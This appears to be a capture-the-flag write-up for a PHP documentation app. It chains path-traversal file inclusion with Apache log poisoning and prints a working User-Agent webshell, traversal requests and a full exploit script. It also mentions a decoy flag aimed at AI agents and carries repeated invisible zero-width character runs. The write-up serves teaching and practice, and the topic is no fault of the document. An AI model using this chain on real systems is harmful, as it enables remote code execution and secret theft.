← Back to Writeups
HTBN/AWeb

DocuNest

XESXOR8/23/20266 min read
#web#htb#n/a

DocuNest

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-05-05 | Status: Solved Techniques: apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection

Summary

Task: Collaborative documentation platform with a docs viewer that uses PHP include() with unsanitized file parameter, enabling LFI. Flag is stored as an environment variable and in /root/flag.txt (chmod 600). Solution: Chain LFI with Apache access log poisoning — inject PHP webshell via User-Agent header, then include the poisoned log to achieve RCE and read the FLAG environment variable.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260505_hackadvisor_docunest
  • Tags: sqlite, rce, lfi, path_traversal, php, apache, include, user_agent_injection, log_poisoning, decoy_flag, alpine_linux, documentation_viewer, mod_php
  • Indicators: PHP include() with unsanitized GET parameter for loading documentation files, API endpoint /api/docs/view?file= that loads files by name, Apache access log readable at /var/log/apache2/access.log via LFI, User-Agent header logged verbatim by Apache mod_log_config, mod_php81 loaded meaning included PHP files get executed as code
  • Source: 20260505_hackadvisor_docunest.md

Foothold

Vulnerability / Misconfiguration

  1. Apache_access_log_inclusion
  2. Environment_variable_exfiltration
  3. Lfi_to_rce_via_log_poisoning
  4. Path_traversal_lfi
  5. User_agent_php_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • apache_access_log_inclusion
  • environment_variable_exfiltration
  • lfi_to_rce_via_log_poisoning
  • path_traversal_lfi
  • user_agent_php_injection
  • Tags: sqlite, rce, lfi, path_traversal, php, apache, include, user_agent_injection, log_poisoning, decoy_flag, alpine_linux, documentation_viewer, mod_php

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DocuNest is a collaborative knowledge base platform built by NestWare Solutions. Teams use it to create, organize, and share technical documentation with features including a rich article editor, categories, tags, comments, search, and a built-in documentation viewer for browsing published guides. Your goal is to find and exploit vulnerabilities in the platform to retrieve the flag stored on the server.

DocuNest is a PHP 8.1 application running on Alpine Linux with Apache/2.4.65 behind an nginx/1.25.5 reverse proxy, using SQLite for data storage. The application provides a Dashboard, Articles, Docs, and Search pages. The Docs page is the primary attack surface — it loads documentation files via a server-side API endpoint that uses PHP's include() function with an unsanitized file parameter. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials: user@test.com / password123

Analysis

Application Features

FeatureEndpointPurpose
Dashboard/Overview with articles, categories, recent activity
Articles/articlesCreate, edit, organize technical documentation
Docs/docsLFI vector — documentation viewer with sidebar listing .md files
Search/searchFull-text search across articles
Docs APIGET /api/docs/view?file=Vulnerable endpoint — loads files via PHP include()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Tech Stack

  • PHP 8.1, Apache/2.4.65 with mod_php81, nginx/1.25.5 reverse proxy, Alpine Linux, SQLite
  • DocumentRoot: /app/public
  • .htaccess with AllowOverride All — standard rewrite rules routing through index.php

Reconnaissance Findings

Documentation viewer behavior:

  • The Docs page sidebar lists files: api-reference.md, deployment.md, faq.md, getting-started.md
  • Clicking a doc triggers: fetch('/api/docs/view?file=' + encodeURIComponent(file))
  • The file parameter is passed directly to PHP's include() without sanitization ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key evidence that include() is used (not file_get_contents()):

  • Including PHP files (e.g., index.php, seed.php) via LFI returns empty content — the PHP code executes server-side and produces no output, rather than being returned as raw source code
  • This is the critical prerequisite for log poisoning: any PHP code in included files will be executed

Flag storage (from /app/start.sh):

echo "$FLAG" > /root/flag.txt
chmod 600 /root/flag.txt
  • Flag exists as environment variable FLAG and in /root/flag.txt (root-only, chmod 600)
  • Simple file read won't work — the web server process can't read /root/flag.txt
  • RCE is required to either read the env var or escalate privileges ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoy flag trap:

  • Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs
  • Designed to trick automated tools and AI agents into reporting a fake flag

Apache Configuration (from /etc/apache2/httpd.conf)

Key details relevant to the exploit:

  • LogFormat "%h %l %u %t \"%r\" %>s %b %{Referer}i %{User-Agent}i" combined — User-Agent is logged
  • CustomLog /var/log/apache2/access.log combined — log path confirmed
  • ErrorLog /var/log/apache2/error.log
  • mod_php81 loaded — PHP execution within included files ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and Confirm LFI

# Login and get session cookie
TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io"
curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" -L

# Confirm path traversal / LFI
curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../etc/passwd"

Response confirms Alpine Linux:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Simple ../ traversal works. No filter bypass needed (double-dot ....// is not required).

Step 2: Verify Apache Log Accessibility

curl -sk -b cookies.txt "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log"

The access log is readable and contains User-Agent strings from all requests. This confirms both prerequisites for log poisoning:

  1. Log file is readable via LFI
  2. User-controlled data (User-Agent) is written to the log

Step 3: Poison the Apache Access Log

Inject a PHP webshell into the User-Agent header: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"

Critical detail about quoting: Apache's mod_log_config escapes double quotes in logged header values ("\"), which would break PHP syntax like $_GET["cmd"]. Using single quotes ($_GET['cmd']) avoids this because Apache does NOT escape single quotes in log entries.

After this request, the access log contains a line like:

172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - <?php system($_GET['cmd']); ?>

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 4: Trigger RCE via Log Inclusion

Include the poisoned log file while passing a command via the cmd parameter:

curl -sk -b cookies.txt \
  "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"

When PHP's include() processes the access log:

  1. It reads the log file as PHP source
  2. Everything outside <?php ... ?> tags is output as plain text (the normal log lines)
  3. When it hits the <?php system($_GET['cmd']); ?> in the User-Agent field, it enters PHP mode
  4. system('printenv FLAG') executes, printing the environment variable value ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response contains the flag embedded in the log output:

172.30.0.3 - - [05/May/2026:14:16:10 +0000] "GET / HTTP/1.1" 200 11976 - FLAG{REDACTED}

Complete Exploit (3 commands)

#!/bin/bash
TARGET="https://582a4fde-2fae-4347-9a1f-45f6cb32b822.labs.hackadvisor.io"

# 1. Login
curl -sk -c cookies.txt -b cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" -L

# 2. Poison Apache access log with PHP webshell in User-Agent
curl -sk -b cookies.txt "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# 3. Include poisoned log → RCE → read FLAG env var
curl -sk -b cookies.txt \
  "$TARGET/api/docs/view?file=../../../var/log/apache2/access.log&cmd=printenv+FLAG"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR